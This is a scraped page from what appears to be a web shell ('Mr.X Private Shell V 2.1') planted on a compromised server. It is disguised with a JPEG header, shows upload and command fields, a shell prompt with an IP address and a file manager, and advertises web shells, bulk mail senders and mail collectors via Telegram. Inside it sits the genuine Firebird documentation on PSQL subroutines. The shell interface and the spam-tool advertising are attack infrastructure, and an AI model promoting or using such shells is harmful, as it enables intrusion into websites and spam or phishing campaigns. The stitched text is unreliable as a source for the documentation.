����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
-----------
Subroutines
-----------

Author:
    Adriano dos Santos Fernandes <adrianosf at gmail.com>

Description:
    Support for PSQL subroutines (functions and procedures) inside functions, procedures, triggers
    and EXECUTE BLOCK. Subroutines are declared in the main routine and may be used from there or others subroutines.

Syntax:
    <declaration item> ::=
        DECLARE [VARIABLE] <variable name> <data type> [ := <value> ];
        |
        DECLARE [VARIABLE] CURSOR <cursor name> FOR (<query>);
        |
        <subroutine declaration>
        |
        <subroutine implementation>

    <subroutine declaration> ::=
        DECLARE FUNCTION <function name> [ (<input parameters>) ]
            RETURNS <data type>
            [ [ NOT ] DETERMINISTIC ] ;
        |
        DECLARE PROCEDURE <procedure name> [ (<input parameters>) ] [ RETURNS (<output parameters>) ] ;

    <subroutine implementation> ::=
        DECLARE FUNCTION <function name> [ (<input parameters>) ]
            RETURNS <data type>
            [ [ NOT ] DETERMINISTIC ]
        AS
            ...
        BEGIN
            ...
        END
        |
        DECLARE PROCEDURE <procedure name> [ (<input parameters>) ] [ RETURNS (<output parameters>) ]
        AS
            ...
        BEGIN
            ...
        END

Limitations:
    1) Subroutines may not be nested in another subroutine. They are only supported in the main
       routine.
    2) Currently, a subroutine may not directly access or use variables or cursors of the
       main statements. This may be allowed in the future.

Notes:
    1) Starting in FB 4, subroutines may be recursive or call others subroutines.

Examples:
    set term !;

    -- 1) Sub-procedures in execute block.

    execute block returns (name varchar(31))
    as
        declare procedure get_tables returns (table_name varchar(31))
        as
        begin
            for select rdb$relation_name
                  from rdb$relations
                  where rdb$view_blr is null
                  into table_name
            do
                suspend;
        end

        declare procedure get_views returns (view_name varchar(31))
        as
        begin
            for select rdb$relation_name
                  from rdb$relations
                  where rdb$view_blr is not null
                  into view_name
            do
                suspend;
        end
    begin
        for select table_name
              from get_tables
            union all
            select view_name
              from get_views
              into name
        do
            suspend;
    end!


    -- 2) Sub-function in a stored function.

    create or alter function func1 (n1 integer, n2 integer) returns integer
    as
        declare function subfunc (n1 integer, n2 integer) returns integer
        as
        begin
            return n1 + n2;
        end
    begin
        return subfunc(n1, n2);
    end!

    select func1(5, 6) from rdb$database!


    -- 3) Recursive sub-function in EXECUTE BLOCK.

    execute block returns (i integer, o integer)
    as
        -- Recursive function without forward declaration.
        declare function fibonacci(n integer) returns integer
        as
        begin
            if (n = 0 or n = 1) then
                return n;
            else
                return fibonacci(n - 1) + fibonacci(n - 2);
        end
    begin
        i = 0;

        while (i < 10)
        do
        begin
            o = fibonacci(i);
            suspend;
            i = i + 1;
        end
    end!


    -- 4) Example with forward declaration and parameter with default values.

    execute block returns (o integer)
    as
        -- Forward declaration of P1.
        declare procedure p1(i integer = 1) returns (o integer);

        -- Forward declaration of P2.
        declare procedure p2(i integer) returns (o integer);

        -- Implementation of P1 should not re-declare parameter default value.
        declare procedure p1(i integer) returns (o integer)
        as
        begin
            execute procedure p2(i) returning_values o;
        end

        declare procedure p2(i integer) returns (o integer)
        as
        begin
            o = i;
        end
    begin
        execute procedure p1 returning_values o;
        suspend;
    end!

Filemanager

Name Type Size Permission Actions
README.PSQL_stack_trace.txt File 1.96 KB 0644
README.aggregate_filter.md File 941 B 0644
README.aggregate_tracking File 3.88 KB 0644
README.alternate_string_quoting.txt File 846 B 0644
README.autonomous_transactions.txt File 1.31 KB 0644
README.blob_append.md File 4.99 KB 0644
README.builtin_functions.txt File 29.49 KB 0644
README.case File 1.71 KB 0644
README.coalesce File 1.04 KB 0644
README.column_type_psql.txt File 871 B 0644
README.common_table_expressions File 4.78 KB 0644
README.context_variables File 4.66 KB 0644
README.context_variables2 File 8.47 KB 0644
README.cumulative_roles.txt File 2.27 KB 0644
README.current_time File 814 B 0644
README.cursor_variables.txt File 2.75 KB 0644
README.cursors File 2.43 KB 0644
README.data_type_results_of_aggregations.txt File 1.56 KB 0644
README.data_types File 8.31 KB 0644
README.db_triggers.txt File 1.8 KB 0644
README.ddl.txt File 22.52 KB 0644
README.ddl_access.txt File 1.53 KB 0644
README.ddl_triggers.txt File 11.67 KB 0644
README.default_parameters File 1.91 KB 0644
README.derived_tables.txt File 2.69 KB 0644
README.distinct File 813 B 0644
README.domains_psql.txt File 933 B 0644
README.exception_handling File 2.44 KB 0644
README.execute_block File 1.45 KB 0644
README.execute_statement File 4.24 KB 0644
README.execute_statement2 File 9.54 KB 0644
README.explicit_locks File 5.91 KB 0644
README.expression_indices File 1.3 KB 0644
README.external_connections_pool File 4.31 KB 0644
README.floating_point_types.md File 2.33 KB 0644
README.global_temporary_tables File 3.43 KB 0644
README.hex_literals.txt File 1.13 KB 0644
README.identity_columns.txt File 3.24 KB 0644
README.iif File 541 B 0644
README.isc_info_xxx File 3.61 KB 0644
README.joins.txt File 1.23 KB 0644
README.keywords File 5.26 KB 0644
README.leave_labels File 1.68 KB 0644
README.length File 486 B 0644
README.linger File 1.34 KB 0644
README.list File 1.04 KB 0644
README.management_statements_psql.md File 925 B 0644
README.mapping.html File 14.91 KB 0644
README.merge.txt File 1.77 KB 0644
README.null_value File 23 B 0644
README.nullif File 611 B 0644
README.offset_fetch.txt File 1.69 KB 0644
README.order_by_expressions_nulls File 1.67 KB 0644
README.packages.txt File 5.12 KB 0644
README.plan File 3.49 KB 0644
README.regr_functions.txt File 1.14 KB 0644
README.returning File 2.91 KB 0644
README.rows File 1.34 KB 0644
README.savepoints File 4.08 KB 0644
README.scrollable_cursors.txt File 3.06 KB 0644
README.select_expressions File 2.18 KB 0644
README.sequence_generators File 1.68 KB 0644
README.set_bind.md File 4.49 KB 0644
README.set_role File 768 B 0644
README.set_transaction.txt File 1.63 KB 0644
README.similar_to.txt File 9.53 KB 0644
README.sql_security.txt File 5.51 KB 0644
README.statistical_functions.txt File 1.6 KB 0644
README.subroutines.txt File 4.23 KB 0644
README.substring_similar.txt File 1.2 KB 0644
README.time_zone.md File 14.34 KB 0644
README.trim File 997 B 0644
README.universal_triggers File 2.77 KB 0644
README.update_or_insert File 1.38 KB 0644
README.user_management File 4.43 KB 0644
README.view_updates File 23 B 0644
README.window_functions.md File 14.92 KB 0644